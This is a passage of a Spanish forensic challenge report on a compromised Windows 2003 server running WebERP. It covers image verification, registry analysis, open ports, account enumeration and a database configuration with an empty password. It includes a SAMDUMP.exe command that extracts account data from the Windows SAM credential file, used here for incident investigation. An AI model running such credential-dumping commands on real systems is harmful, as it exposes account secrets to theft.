analisis forense

48
Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT 1 Reto de Análisis Forense V3.0 UNAM – CERT / IRIS –CERT Informe Técnico Ing.-Juan Ángel Hurtado Monterrey N.L México

Upload: carl-ton

Post on 28-Dec-2015

78 views

Category:

Documents


6 download

DESCRIPTION

log de windows

TRANSCRIPT

Page 1: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

1

Reto de Análisis Forense V3.0 UNAM – CERT / IRIS –CERT

Informe Técnico

Ing.-Juan Ángel Hurtado Monterrey N.L México

Page 2: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

2

1 INTRODUCCIÓN ......................................................................................................................................... 3

1.1 PRESENTACIÓN ......................................................................................................................................... 3 1.2 ANTECEDENTES ........................................................................................................................................ 3

2 LABORATORIO........................................................................................................................................... 4

2.1 INSTALACIÓN DE LABORATORIO. ...................................................................................................... 4 2.2 DESCARGA Y PREPARACIÓN DE IMÁGENES. ...................................................................................... 5

3 ANÁLISIS FORENSE................................................................................................................................... 7

3.1 IDENTIFICACIÓN DEL SISTEMA ANALIZADO. ..................................................................................... 7 3.2 IDENTIFICACIÓN DE LA APLICACIÓN ERP. ...................................................................................... 12 3.3 COLECTANDO EVENTOS DEL SISTEMA OPERATIVO.......................................................................... 15 3.4 RECONSTRUCCIÓN DE LA APLICACIÓN ERP.................................................................................... 20 3.5 COLECTANDO EVENTOS DEL WEBERP........................................................................................... 23 3.6 COLECTANDO EVIDENCIA DEL FILE SYSTEM. ................................................................................. 28 3.7 FORMULANDO LA TEORÍA DEL ATAQUE. ......................................................................................... 35 3.8 CONSIDERACIONES SOBRE LA TEORÍA. ........................................................................................... 38 3.9 RECOMENDACIONES AL ADMINISTRADOR....................................................................................... 39

4 CONCLUSIONES................................................................................................................................. 40

4.1 RESPUESTAS A LAS PREGUNTAS PLANTEADAS POR EL RETO. .......................................................... 40 4.2 CORRESPONDENCIA CON LA ESTRUCTURA DE REPORTE SUGERIDA. ................................................ 40 4.3 AGRADECIMIENTOS. ....................................................................................................................... 40

5 ANEXOS ................................................................................................................................................ 41

5.1 ANEXO 1 EVENTOS RELEVANTES DE LA CUENTA JOHNATAN A PARTIR DEL INCIDENTE. ................. 41 5.2 ANEXO 2 EVENTOS RELEVANTES DE LA CUENTA VER0K. ............................................................... 43 5.3 ANEXO 3 COMO FUNCIONA EL PORT DEL EXPLOIT EN EL METASPLOIT. .......................................... 47

Page 3: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

3

1 Introducción

1.1 Presentación

El presente documento fue elaborado en atención a la convocatoria lanzada por UNAM-CERT/Red Iris para el tercer concurso hispano de Análisis Forense “Reto Forense Episodio III”. El mismo describe desde un punto de vista técnico el desarrollo, metodologías usadas y conclusiones a las que se llegaron a partir del análisis forense realizado sobre la imagen proporcionada por los organizadores para este fin. La audiencia pretendida por este documento, es personal con conocimientos de sistemas y seguridad informática. Se pretende además que este documento sirva como referencia para aquellas personas interesadas los temas de seguridad informática y análisis forense computacional. La metodología usada, descrita de una forma muy breve, consistió en la preparación del laboratorio, identificación del sistema a examinar, extracción y documentación de evidencia, relación de hechos aislados, elaboración de hipótesis y conclusiones a partir de la evidencia colectada. Pasemos pues al tema que nos ocupa.

1.2 Antecedentes

Este año los organizadores nos describen la situación bajo la cual operaba el sistema posiblemente comprometido. Transcribo:

A continuación se describe la situación en que operaba el sistema cuya imagen se ha proporcionado para el Reto Forense Episodio III: El administrador de sistemas de una pequeña empresa ha notado que existe una cuenta que él no creó en su sistema de ERP, por lo que sospecha de algún ingreso no autorizado, del que desconoce el alcance. El sistema en que se ejecuta la aplicación es un servidor Windows 2003, cuya principal función era proporcionar acceso al sistema ERP a través de la Web. Hace poco tiempo que habían migrado al uso de este servidor. Según el administrador, trataba de mantener el sistema actualizado por lo que no sabe cómo pudieron ingresar a su sistema. Sin embargo, también mencionó que más de una persona tiene acceso a cuentas privilegiadas en el sistema y aceptó que ocupaban a veces estas cuentas para labores no sólo administrativas, sino también personales o para aplicaciones que no requerían ningún tipo de privilegio para ejecutarse.

En el texto se indica que el sistema operativo es un Windows 2003 (No se menciona la versión), cuya principal función era un proporcionar acceso a un ERP (Enterprise Resource Planning1) a través de Web, no se mencionan datos del ERP. Se nos indica además que tenían poco tiempo con el servidor y que mas de un usuario tenia acceso a cuentas privilegiadas en el. El administrador detecto una cuenta que el no creo en el ERP (No se indica cual cuenta), por lo que usaremos el ERP como pivote para realizar la investigación alrededor de el.

_____________________

1 Ver http://es.wikipedia.org/wiki/Sistema_de_planificaci%C3%B3n_de_recursos

Page 4: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

4

2 Laboratorio

2.1 Instalación de laboratorio.

Para elaborar el análisis se preparo un laboratorio mismo que a continuación se describe: Se utilizo como plataforma una Laptop Toshiba Satellite A25 con 40GB en disco duro, 250 Mb. De memoria, procesador Pentium a 2.5 GHz. y Windows XP Professional como sistema operativo de base. Se instalo una versión de prueba de VMWare Workstation Versión 5.5.12. Usando el VMWare se creo una maquina virtual de 15 Gb. De disco duro y 128 Mb en memoria, en ella se instalo el sistema operativo Knoppix Versión 3.63 el cual es una distribución Linux basado en Debian. Se escogió esta versión de sistema operativo debido a que al instalarlo ya cuenta con librerías que permiten montar file systems NTFS, además de que originalmente viene como Live CD con opción a instalarse en disco duro, mas información acerca de esta distribución puede ser encontrada en www.knoppix.net. Para instalarlo se inserta el Live CD y se ejecuta el knoppix-installer. Una vez instalado el sistema operativo se instalaron las herramientas que a continuación enumero: En el Knoppix: - sleuthkit-1.73 : El cual puede ser descargado de http://www.sleuthkit.org/ es un paquete que contiene una serie de herramientas open source que permiten colectar información de imágenes de sistema operativo. -autopsy-2.03: El cual puede ser descargado de http://www.sleuthkit.org/autopsy es un paquete que contiene una interfaz grafica para el uso de las herramientas de the sleuthkit adicionalmente permite gestionar el caso. - F-prot : El cual puede ser descargado de es un potente antivirus disponible para Windows y Linux (http:// www.f-prot.com). En el Windows XP: - AccessData Registry Viewer : El cual puede ser descargado de es una herramienta que permite explorar archivos de registro de Windows incluido Windows 2003 (Se utilizo una versión Demo). - IEHistoryView v1.31 : El cual puede ser descargado de http://www.nirsoft.net es una herramienta que permite explorar freeware que permite explorar archivos de historia del tipo del navegador Internet Explorer.

- Xampp para Windows : El cual puede ser descargado de es un entorno de desarrollo Web que incluye el servidor web apache con php y la base de datos mysql. (http://www.apachefriends.org/en/xampp.html ) ____________________ 2 Ver http://www.vmware.com 3 Ver http://www.knnoppix.net

Page 5: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

5

- Visor de sucesos de Windows: Es una herramienta incluida en Windows XP y versiones superiores, con la cual es posible explorar los eventos registrados en los archivos de eventos de una maquina con Windows.

- SAMDUMP.EXE: Es una herramienta que permite la extracción de información del archivo SAM de WINDOWS. Puede ser encontrada en (http://www.insidepro.com/download/samdump.exe) También se uso el cliente de Secure Copy WinSCP (http://winscp.net/eng/index.php ) para mover archivos entre las maquinas. Una vez dispuesto el laboratorio de trabajo procedemos con la descarga de las imágenes:

2.2 Descarga y preparación de imágenes.

Debido al tamaño de la imagen (6 GB) se opto por bajar las imágenes seccionadas de la dirección http://pgp.rediris.es:16000/reto3.0/ usando la utilería wget para ello y almacenándolos en la maquina con Knoppix, ya finalizada la descarga (Después de largos 4 días ☺) disponemos de los siguientes archivos:

-windows2003.img.gz.aa (Fragmento de la imagen) -windows2003.img.gz.ab (Fragmento de la imagen) -windows2003.img.gz.ac (Fragmento de la imagen) -windows2003.img.gz.ad (Fragmento de la imagen) -windows2003.img.gz.ae (Fragmento de la imagen) -windows2003.img.gz.af (Fragmento de la imagen) -windows2003.img.gz.ag (Fragmento de la imagen) -firmas-split.txt (Firmas de las imágenes)

Antes de proseguir es necesario verificar la integridad de los mismos comprobando la firma md5 de cada uno, para ello utilizamos en cada archivo el comando de md5sum, este nos arrojara la firma md5 del cada uno la cual compararemos con las firmas contenidas en el archivo firmas-split.txt.

#md5sum windows2003.img.gz.* c972863f5584a95f1d5ff350d972b48d windows2003.img.gz.aa b7a57c513a0ab18914f63cc927d8b4e0 windows2003.img.gz.ab 42ef380cf64ddfc956dbf6acf63a174c windows2003.img.gz.ac 4fc8381404fef912ae77f61244128643 windows2003.img.gz.ad fba13b0f9cddf1a83b4d244c2987811f windows2003.img.gz.ae 4fa323705ee2064415c2854b8abef502 windows2003.img.gz.af 490e34026f2aaf91604b9e84896def16 windows2003.img.gz.ag

Page 6: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

6

Dado que las firmas coinciden podemos estar seguros de que no existe problema con la integridad de los archivos descargados. Ahora uniremos y descomprimiremos las imágenes para obtener la imagen completa usando los comandos cat y gunzip:

Aunque no se dispone de punto de comparación obtenemos además la firma del archivo windows2003.img por si mas adelante requiriéramos verificar su integridad. La firma es 062cf5d1ccd000e20cf4c006f2f6cce4. Creamos un directorio “forense” en /mnt y procedemos a montar las imágenes con el comando mount:

Como la instalación Knoppix ya incluía drivers para NTFS no se presenta ningún problema al momento de montar la imagen, ahora podemos dirigirnos a /mnt/forense y echar un primer vistazo al contenido de la imagen (Marcamos en rojo algunos directorios interesantes):

Corroboramos que la estructura de directorios corresponde a un sistema operativo Windows. Podemos ahora dar inicio al análisis.

#cat windows2003.img.gz.aa windows2003.img.gz.ab windows2003.img.gz.ac windows2003.img.gz.ad windows2003.img.gz.ae windows2003.img.gz.af windows2003.img.gz.ag | gunzip > windows2003.img

#mount –ro,loop windows2003.img /mnt/forense

# ls -lsa total 4 0 drwx------ 1 root root 4096 Feb 5 16:10 . 4 drwxr-xr-x 11 root root 4096 Feb 23 00:50 .. 0 drwx------ 1 root root 0 Feb 4 17:31 ADFS 0 -rw------- 1 root root 0 Jan 26 01:42 AUTOEXEC.BAT 0 -rw------- 1 root root 0 Jan 26 01:42 CONFIG.SYS 0 drwx------ 1 root root 4096 Feb 5 15:47 Documents and Settings 0 -rw------- 1 root root 0 Jan 26 01:42 IO.SYS 0 -rw------- 1 root root 0 Jan 26 01:42 MSDOS.SYS 0 -rw------- 1 root root 47772 Mar 25 2005 NTDETECT.COM 0 drwx------ 1 root root 4096 Feb 4 17:45 Program Files 0 drwx------ 1 root root 0 Feb 5 16:10 RECYCLER 0 drwx------ 1 root root 0 Jan 26 17:13 System Volume Information 0 drwx------ 1 root root 40960 Feb 4 17:30 WINDOWS 0 drwx------ 1 root root 0 Jan 26 21:00 apache 0 -rw------- 1 root root 210 Jan 26 01:26 boot.ini 0 -rw------- 1 root root 295536 Mar 25 2005 ntldr 0 -rw------- 1 root root 234881024 Feb 5 16:58 pagefile.sys 0 drwx------ 1 root root 0 Jan 26 01:44 wmpub

Page 7: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

7

3 Análisis Forense

3.1 Identificación del sistema analizado.

En la descripción de la situación ya se menciona que el sistema operativo es un Windows 2003, recopilaremos información que nos permitirá tener un panorama mas amplio de la configuración que tenia el sistema, en los S.O. Windows 2003 (Y de hecho en la mayoría de S.O. Windows basados en NT) la información de la configuración se encuentra contenida en el registro de Windows. El registro de Windows4 se compone de varios archivos (system configuración del sistema, software contiene configuración del software instalado, SECURITY contiene la configuración de seguridad, SAM contiene la información de autenticación de los usuarios existentes, NTUSER.DAT contiene la configuración personalizada por el usuario para el sistema y software) en formato binario y regularmente se localizan en %WINDOWSHOME/system32/config (A excepción el archivo NTUSER.DAT se localiza en el directorio HOME de cada usuario, regularmente Documents and Settings/%USUARIO) donde %WINDOWSHOME es la ruta donde se instalo Windows. El registro se conforma por llaves y valores organizados en forma de árbol anidado, cada llave es en si un parámetro de configuración.

Nos dirigimos al directorio /mnt/forense/WINDOWS/system32/config, extraemos el contenido y lo pasamos a la maquina que tiene Windows XP5:

Una vez que disponemos de los archivos en nuestra maquina con Windows XP, podemos explorar los archivos de registro usando la herramienta AccessData Registry Viewer6 :

___________________ 4 Una interesante descripción del registro de Windows puede ser encontrada en http://support.microsoft.com/kb/256986 5 La transferencia de los archivos se realizo mediante secure copy, aun que se pudo haber usado cualquier otro método. 6 Esta herramienta puede ser descargada de www.accessdata.com

root@Forensic:/mnt/forense/WINDOWS/system32/config# ls AppEvent.Evt SAM.LOG SecEvent.Evt default software system systemprofile DnsEvent.Evt SECURITY SysEvent.Evt default.LOG software.LOG system.LOG userdiff SAM SECURITY.LOG TempKey.LOG default.sav software.sav system.sav userdiff.LOG

Page 8: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

8

Esta herramienta nos permitirá explorar los archivos de registro en una forma similar a la que lo hace el regedit (Herramienta nativa de Windows para explorar el registro de Windows), podemos descender a través de la estructura del registro abriendo las carpetas correspondientes y verificando los valores de las llaves que en ellas se encuentran, por ser una versión demo solo podemos ver un archivo a la vez, para cargar un archivo vamos al menú File, seleccionamos Open y seleccionamos el archivo a cargar, a continuación se muestra una vista de la herramienta:

Comenzaremos por analizar las llaves que corresponden a la rama del registro HKEY_LOCAL_MACHINE que contiene la configuración general de la maquina y software instalado, de forma que los archivos de registro que extrajimos de la imagen proporcionada corresponden de la siguiente forma:

- El archivo system contiene la rama HKEY_LOCAL_MACHINE \SYSTEM - El archivo software contiene la rama HKEY_LOCAL_MACHINE \SOFTWARE

Al cargar el archivo la herramienta nos posiciona en la raíz de la rama. Cargamos los archivos y empezamos a navegar y buscar algunas llaves. Las siguientes llaves serán de utilidad para la identificación del sistema (Se muestra la llave consultada, el valor contenido por la llave, la descripción de la misma, y el archivo en el cual estaba contenida):

Page 9: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

9

Llave Valor Descripcion Archivo HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName Microsoft

Windows Server 2003 R2

Nombre de la version de Windows

Software

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion 5.2 Version de Windows

Software

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion Service Pack 1

Nivel de SP Software

HKLM\SYSTEM\ControlSet002\Control\ComputerName\ComputerName COUNTERS Nombre de la maquina

System

HKLM\SYSTEM\ControlSet002\Control\TimeZoneInformation\StandarName Pacific Standard Time

Zona horaria configurada

System

HKLM\SYSTEMControlSet002\Enum\ACPI\GenuineIntel_-_x86_Family_6_Model_8\_0\DeviceDesc

Intel Pentium III Procesor

Nombre del Procesador

System

• HKLM = HKEY_LOCAL_MACHINE

Con esta información podemos ir creando el perfil del sistema, hasta el momento tenemos que la maquina era tenia instalado como sistema operativo Microsoft Windows Server 2003 R2 Build 5.2 con Service Pack 1, el nombre de la maquina era COUNTERS, tenia configurada la Zona Horaria Pacific Standard Time (Tiempo PST = GMT - 8:00), y utilizaba un procesador Intel Pentium III Procesor. Dentro de la rama HKLM\system\ControlSet002\Services\Tcpip\Parameters\Interfaces encontraremos información acerca de la configuración de red que tenia la maquina. Al revisar dicha rama encontramos dos interfaces activas y configuradas de la siguiente forma: En la interfaz descrita en la llave HKLM\system\ControlSet002\Services\Tcpip\Parameters\Interfaces\{44C3A521-98D1-4B7A-850D-

860BB2324A1D} encontramos el siguiente valor:

Llave Valor Descripcion Archivo HKLM\system\ControlSet002\Services\Tcpip\Parameters\Interfaces\{44C3A521-98D1-4B7A-850D-860BB2324A1D}\EnableDHCP

1 Activa el DHCP

system

• HKLM = HKEY_LOCAL_MACHINE

Esto nos indica que esta interfaz estaba configurada para funcionar bajo DHCP. En la interfaz descrita en la llave system\ControlSet002\Services\Tcpip\Parameters\Interfaces\{5269ADEB-9E6D-4673-B898-4238F085972C}

encontramos los siguientes valores:

Llave Valor Descripcion Archivo HKLM\system\ControlSet002\Services\Tcpip\Parameters\Interfaces\{44C3A521-98D1-4B7A-850D-860BB2324A1D}\IPAddress

192.168.5.5 Direccion IP asignada

System

HKLM\system\ControlSet002\Services\Tcpip\Parameters\Interfaces\{44C3A521-98D1-4B7A-850D-860BB2324A1D}\SubnetMask

255.255.255.0 Mascara de subred

System

HKLM\system\ControlSet002\Services\Tcpip\Parameters\Interfaces\{44C3A521-98D1-4B7A-850D-860BB2324A1D}\DefaultGateway

192.169.5.254 Default Gateway

System

HKLM\system\ControlSet002\Services\Tcpip\Parameters\Interfaces\{44C3A521-98D1-4B7A-850D-860BB2324A1D}\NameServer

83.217.93.246, 67.102.133.222

DNS System

• HKLM = HKEY_LOCAL_MACHINE

Page 10: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

10

Como podemos ver existían dos interfases activas en el equipo, una de las cuales había sido configurada para funcionar bajo DHCP y la otra tenía la siguiente configuración: Dirección IP 192.168.5.5, Mascara 255.255.255.0, Default Gateway 192.168.5.5 con DNS 83.217.93.246 y 67.102.133.222. Suele ser común asignar a los servidores una interfaz de red para trabajo y otra para soporte, aunque en este caso la que tiene la IP fija, que asumimos seria la de trabajo, tiene una IP privada, por lo que es posible que entre la INTERNET y la maquina existiesen mas elementos (Proxys, Servidores de NAT, etc.). Verificando los DNS mediante un WHOIS y usando Google encontramos que se tratan de DNS libres (http://www.opennic.unrated.net/public_servers.html ) se trata de DNS que se pueden utilizar cuando el proveedor de acceso no a Internet no proporciona dota al usuario de DNS’s.

A partir del Service Pack 2 de Windows XP, las versiones de Windows vienen equipadas con el Centro de Seguridad de Windows e incluyen un Firewall (Firewall de Windows). Será conveniente verificar si este estaba activo y como estaba configurado, la información de dicha configuración la encontramos en la rama HKLM\system\ControlSet002\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile la información colectada es la siguiente:

Llave Valor Descripcion Archivo HKLM\system\ControlSet002\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall

1 Firewall Habilidato System

HKLM\system\ControlSet002\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions

0 Indica que las excepciones estaban permitidas

System

HKLM\system\ControlSet002\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications

0 Indica que las notificaciones estaban habilitadas

System

HKLM\system\ControlSet002\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List

TCP 139, TCP 445, UDP 137, UDP 138, TCP 3389, UDP 1900, TCP 2869

Lista de puestos permitidos en el Firewall

System

HKLM\system\ControlSet002\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List

Apache y BitTorrent

Lista de excepciones (aplicaciones permitidas)

System

HKLM = HKEY_LOCAL_MACHINE

Como vemos efectivamente el Firewall de Windows se encontraba habilitado permitiendo el acceso a los puertos TCP 139, TCP 445, UDP 137, UDP 138, TCP 3389, UDP 1900, TCP 2869 que generalmente el Firewall de Windows habilita por defecto, y permitiendo además las aplicaciones Apache y BitTorrent. Un puerto interesante es el 3389 ya que este puerto sirve para proporcionar acceso al sistema operativo de manera remota vía Terminal Services (El cual es un servicio de terminal remota de

Page 11: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

11

Windows), verificamos la llave HKLM\system\ControlSet002\Control\Terminal Server\TSEnabled y encontramos que efectivamente el Terminal Services se encontraba habilitado. Esto es importante ya que nos indica que se podía acceder al equipo de manera remota. Ahora verificaremos el nivel de parches del sistema operativo, para ello verificamos los archivos KB* en el directorio de /mnt/forense/WINDOWS:

El nombre del archivo nos indica el nombre del parche instalado, podemos encontrar información detallada de cada parche en la base de conocimientos de Microsoft o en la Microsoft TechNet (http://www.microsoft.com/technet/security/default.mspx ) buscando el nombre del archivo sin la extensión “.log”. Finalmente entre los archivos que extrajimos de la maquina se encuentra el archivo SAM, el cual también forma parte del registro de Windows y contiene la información referente a los usuarios dados de alta en el sistema, utilizamos la herramienta SAMDUMP.exe para extraer la información contenida en el archivo SAM. El comando a usar es copiamos el archivo SAM al mismo directorio donde tenemos la herramienta y ejecutamos SAMDUMP.exe SAM > SAMDUMPED.txt, después de ello nos queda en el archivo SAMDUMPED.txt información de los usuarios la cual exponemos a continuación:

Usuario ID Descripcion

Administrator 500 Built-in account for administering the computer/domain

Guest 501 Built-in account for guest access to the computer/domain

SUPPORT_388945a0 1001 CN=Microsoft Corporation,L=Redmond,S=Washington,C=US,This is a vendor's account for the Help and Support Service

Johnatan 1006 Johnatan Tezcatlipoca

ernesto 1007 Ernesto Sánchez

amado 1008 Amado Carrillo

maick 1009 Gabriel Torres

lalo 1010 Eduardo Hernández

moni 1011 Monica Islas

maru 1012 Maria Guadalupe Ramos

mirna 1013 Mirna Casillas

katy 1014 Katalina Rodriguez

caracheo 1015 Jorge Caracheo Mota

# ls -lsa KB* 0 -rw------- 1 root root 15842 Jan 26 17:01 KB890046.log 0 -rw------- 1 root root 7111 Jan 26 16:53 KB896358.log 0 -rw------- 1 root root 6658 Jan 26 16:54 KB896422.log 0 -rw------- 1 root root 7534 Jan 26 16:54 KB896424.log 0 -rw------- 1 root root 15514 Jan 26 17:01 KB896428.log 0 -rw------- 1 root root 10694 Jan 26 16:55 KB896688.log 0 -rw------- 1 root root 9621 Jan 26 16:56 KB896727.log 0 -rw------- 1 root root 17076 Jan 26 17:02 KB899587.log 0 -rw------- 1 root root 14616 Jan 26 17:00 KB899589.log 0 -rw------- 1 root root 14477 Jan 26 17:00 KB901017.log 0 -rw------- 1 root root 8732 Jan 26 16:58 KB901214.log 0 -rw------- 1 root root 17715 Jan 26 16:59 KB902400.log 0 -rw------- 1 root root 12738 Jan 26 16:59 KB903235.log 0 -rw------- 1 root root 17340 Jan 26 17:02 KB905414.log 0 -rw------- 1 root root 14328 Jan 26 16:59 KB908519.log

Page 12: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

12

ovejas 1016 Eduardo Roldán

reno 1017 Israel Robledo Gonzáles

pili 1018 Elizabet Herrera Zamora

zamorano 1019 Rolando Zamorategui

mpenelope 1020 Mari Carmen Penelope

postgres 1023 postgres,PostgreSQL service account

ver0k 1024

Expusimos los nombres de usuarios, los identificadores y su descripción. Marcamos en rojo la cuenta ver0k ID 1024 debido a que es la única que no cuenta con descripción (En todas las demás aparece el nombre del usuario o del servicio).

3.2 Identificación de la aplicación ERP.

Ahora buscaremos información acerca de la aplicación ERP que existía en la maquina, cuando dimos ese primer vistazo marcamos un directorio llamado apache (/mnt/forense/apache o c:\apache en la maquina original), el cual parece un buen punto de partida. Así que comenzamos a explorarlo y encontramos esta estructura de directorio:

La estructura corresponde a la instalación del popular WebServer Open Source Apache, resaltan las carpetas PHP (Lenguaje Open Source de scripting para Web) y la popular base de datos Open Source MySQL. En el registro de Windows podremos encontrar información de estas y otras aplicaciones instaladas, dentro de la rama \HKEY_LOCAL_MACHINE\SOFTWARE, destacan las siguientes llaves:

mnt/forense/apache/Apache# ls -l -rw------- 1 root root 15062 Nov 24 2004 ABOUT_APACHE.TXT -rw------- 1 root root 20545 Oct 18 15:11 Apache.exe -rw------- 1 root root 335941 Oct 18 15:11 ApacheCore.dll -rw------- 1 root root 20768 Dec 6 2004 LICENSE.TXT -rw------- 1 root root 766 Dec 6 2004 NOTICE.TXT -rw------- 1 root root 4203 Nov 24 2004 README-WIN.TXT -rw------- 1 root root 1343 Nov 24 2004 WARNING-WIN.TXT -rw------- 1 root root 20560 Oct 18 15:11 Win9xConHook.dll drwx------ 1 root root 4096 Jan 26 21:00 bin drwx------ 1 root root 0 Jan 26 21:00 cgi-bin drwx------ 1 root root 4096 Jan 26 21:00 conf drwx------ 1 root root 12288 Jan 26 21:48 htdocs drwx------ 1 root root 40960 Jan 26 21:00 icons drwx------ 1 root root 8192 Jan 26 21:00 include drwx------ 1 root root 0 Jan 26 21:00 lib drwx------ 1 root root 4096 Jan 26 21:00 libexec drwx------ 1 root root 0 Feb 5 18:44 logs drwx------ 1 root root 4096 Jan 26 21:00 modules drwx------ 1 root root 4096 Feb 3 22:50 mysql drwx------ 1 root root 4096 Jan 26 21:04 php drwx------ 1 root root 0 Jan 26 21:00 proxy -rw------- 1 root root 36946 Oct 18 15:16 xmlparse.dll -rw------- 1 root root 73808 Oct 18 15:16 xmltok.dll.

Page 13: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

13

Llave Valor Descripcion Archivo HKLM\software\Apache Group\Apache\1.3.34 El Apache instalado

era la versión 1.3.34 Software

HKLM\software\MySQL AB\MySQL Server 4.1 La version de MySQL era 4.1

Software

HKLM\software\MySQL AB\MySQL Administrator 1.1 Se tenia instalado la versión 1.1 de MySQL Administrator

Software

HKLM\software\PostgreSQL\Installations\{34D95765-2D5A-470F-A39F-BC9DEAAAF04F}\Version

8.1 Se encontró instalad la versión 8.1 de PostgreeSQL

Software

HKLM\software\Mozilla\Mozilla Firefox 1.5.0.1 Se tenia instalada la version 1.5.0.1 del navegador Open Source FireFox

Software

* HKLM = HKEY_LOCAL_MACHINE

Tenemos pues un entorno Web WAMP (Windows – Apache – MySQL- PHP), con Apache 1.3.34, MySQL 4.1 y PHP. Verificamos el archivo conf/httpd.conf dentro del directorio de apache (/mnt/forense/apache/Apache o c:\apache\Apache en la maquina original) y descubrimos que el servidor respondía peticiones a través del puerto 80. Veamos ahora dentro del directorio htdocs en el directorio de apache para ver el contenido del mismo, ahi encontramos los archivos que conforman el manual del Apache aun instalados y la carpeta web-erp, en esa carpeta encontramos la aplicación WebERP (http://www.weberp.org) , la cual es una aplicación de ERP Open Source escrita en PHP y elaborada por Logic Works Ltd esta permite administrar los recursos de una empresa, parece que encontramos la aplicación que buscábamos (Recordemos que la investigación gira en torno a una cuenta extraña encontrada en el ERP), podemos encontrar documentación de la aplicación en http://www.weberp.org/SystemInformation.php . La configuración de esta aplicación reside en el archivo config.php que se encuentra en ese mismo directorio, revisando este archivo encontramos lo siguiente (Comentarios en rojo):

// webERP version $Version = '3.04'; La version del WEBERP es 3.04 . . $dbType = 'mysql'; La base datos usada era mysql //$dbType = 'postgres'; //$dbType = 'mysql'; $DatabaseName='weberp'; El nombre de la base de datos es weberp // sql user & password $dbuser = 'weberp_us'; La base de datos era accesible con el usuario weberp_us sin $dbpassword = ''; necesidad de password // which encryption function should be used //$CryptFunction = "md5"; // MD5 Hash $CryptFunction = "sha1"; // SHA1 Hash Se utilizaba encriptación sha1

Page 14: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

14

En este punto detectamos una grave falla de seguridad al dejar el acceso a la base de datos sin password. Como vimos que la base de datos usada para la aplicación es MySQL veamos ahora el directorio de dicha aplicación (/mnt/forense/apache/Apache/mysql o c:\apache\Apache\mysql en la maquina original). En el encontramos la típica estructura de archivos de esta base de datos, centrémonos en el directorio data, que es el que es donde se depositan las bases de datos:

En este directorio encontramos 3 bases de datos (Cada carpeta dentro de data almacena una base de datos), la base de datos mysql que almacena la información de la configuración del gestor, la base de datos test que se crea al instalar MySQL, la base de datos weberp que debe ser en la que soportaba el WebERP. Notamos además la existencia de los archivos ib_logfile1, counters-bin.index, counters-bin.000001, counters.log, ib_logfile0, los cuales nos indican que la información era almacenada usando el motor InnoDB, esto lo corroboramos al leer el archivo weberp-new.sql localizado en el directorio sql/mysql en el path del WebERP (/mnt/forense/apache/Apache/htdocs/web-erp o c:\apache\Apache\mysql\htdocs\web-erp en la maquina original), el script weberp-new.sql sirve para crear la base de datos al momento de instalar la aplicación WebERP, ahi se puede ver que todas las tablas se crean como InnoDB (Tienen el modificador TYPE=InnoDB en la sentencia SQL de creación), MySQL dispone de 2 motores principales, InnoDB y MyISAM, y almacena la información de forma distinta dependiendo del motor que se use (Puede encontrar mas información sobre MySQL en www.mysql.com).

Resumiendo este punto la aplicación ERP usada es WebERP 3.04, la cual esta escrita en PHP, corría sobre un servidor Web Apache 1.3.34 con soporte para PHP 4.4.2 y se apoyaba en una base de datos MySQL 4.1.16 usando el motor InnoDB de la misma (Mas adelante se indica como se obtuvieron las versiones exactas de PHP y MySQL). Ahora que disponemos de mucha mas información sobre el servidor y la aplicación que en el residía, pasemos a colectar sucesos y evidencia de la maquina.

mnt/forense/apache/Apache/mysql/data# ls -lrt total 0 drwx------ 1 root root 0 Jan 26 21:39 test -rw------- 1 root root 10485760 Jan 26 21:42 ib_logfile1 drwx------ 1 root root 16384 Jan 26 21:53 mysql -rw------- 1 root root 22 Feb 3 22:57 counters-bin.index drwx------ 1 root root 40960 Feb 5 10:04 weberp -rw------- 1 root root 149898 Feb 5 17:19 counters-bin.000001 -rw------- 1 root root 1087092 Feb 5 17:20 counters.log -rw------- 1 root root 10485760 Feb 5 18:44 ib_logfile0 -rw------- 1 root root 18874368 Feb 5 18:44 ibdata1 -rw------- 1 root root 3432 Feb 5 18:44 counters.err

Page 15: analisis forense

Titulo: Informe Técnico Reto Forense V3.0 Fecha: 21/Mar/ 2006 UNAM-CERT/ IRIS CERT

15

3.3 Colectando eventos del sistema operativo.

